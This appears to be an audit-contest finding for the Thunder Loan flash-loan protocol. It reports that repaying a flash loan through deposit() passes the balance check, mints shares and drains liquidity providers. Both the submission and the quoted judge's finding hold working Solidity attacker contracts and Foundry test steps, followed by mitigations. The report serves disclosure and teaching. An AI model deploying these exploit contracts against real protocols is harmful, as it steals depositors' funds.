Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan repayment via deposit() inflates exchange rate and drains liquidity providers

Root + Impact

Description

The issue

The repayment check only verifies the AssetToken's token balance increased by the required amount. It does not verify how that balance increased. A malicious receiver can call deposit() instead of repay() during executeOperation(). Both functions transfer tokens into the AssetToken contract and both satisfy the balance check — but deposit() additionally mints AssetToken shares to the attacker.

function flashloan(...) external {
// ...
uint256 fee = getCalculatedFee(token, amount);
// @> Exchange rate bumped BEFORE loan executes
assetToken.updateExchangeRate(fee);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...); // @> attacker calls deposit() here
uint256 endingBalance = token.balanceOf(address(assetToken));
// @> Only checks balance — does not distinguish deposit() from repay()
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

Risk

Likelihood:

  • Any caller with enough tokens to cover principal + fee can execute this in a single transaction with no setup beyond deploying a receiver contract

  • The attack requires no special permissions, no governance manipulation, and no external dependencies

Impact:

  • Attacker extracts underlying tokens from the pool for free, directly stealing from liquidity providers

  • Each attack cycle permanently inflates the AssetToken exchange rate, compounding LP losses on repeated attacks

  • Protocol becomes insolvent as LP redemptions return more than the pool holds

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IFlashLoanReceiver } from "src/interfaces/IFlashLoanReceiver.sol";
import { ThunderLoan } from "src/protocol/ThunderLoan.sol";
import { AssetToken } from "src/protocol/AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DepositInsteadOfRepayAttacker is IFlashLoanReceiver {
ThunderLoan private immutable i_thunderLoan;
IERC20 private immutable i_token;
constructor(address thunderLoan, address token) {
i_thunderLoan = ThunderLoan(thunderLoan);
i_token = IERC20(token);
}
function attack(uint256 amount) external {
i_thunderLoan.flashloan(address(this), i_token, amount, "");
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
// Approve ThunderLoan to pull amount + fee
IERC20(token).approve(address(i_thunderLoan), amount + fee);
// Deposit instead of repay — satisfies balance check AND gets shares
i_thunderLoan.deposit(IERC20(token), amount + fee);
// Immediately redeem shares for profit
AssetToken assetToken = i_thunderLoan.getAssetFromToken(IERC20(token));
uint256 shares = assetToken.balanceOf(address(this));
assetToken.approve(address(i_thunderLoan), shares);
i_thunderLoan.redeem(IERC20(token), shares);
return true;
}
}
// Test confirming theft:
// function testDepositInsteadOfRepay() public {
// uint256 lpBalanceBefore = token.balanceOf(address(lpProvider));
// uint256 attackerBalanceBefore = token.balanceOf(address(attacker));
//
// attacker.attack(LOAN_AMOUNT);
//
// // Attacker ends up with more tokens than they started with
// assertGt(token.balanceOf(address(attacker)), attackerBalanceBefore);
// // LP ends up with fewer tokens than they started with
// assertLt(token.balanceOf(address(assetToken)), lpBalanceBefore);
// }

Recommended Mitigation

Block deposit() calls while a flash loan is active for that token using the existing s_currentlyFlashLoaning guard:

function deposit(IERC20 token, uint256 amount)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
// @> Add this guard
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__DepositNotAllowedDuringFlashLoan();
}
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!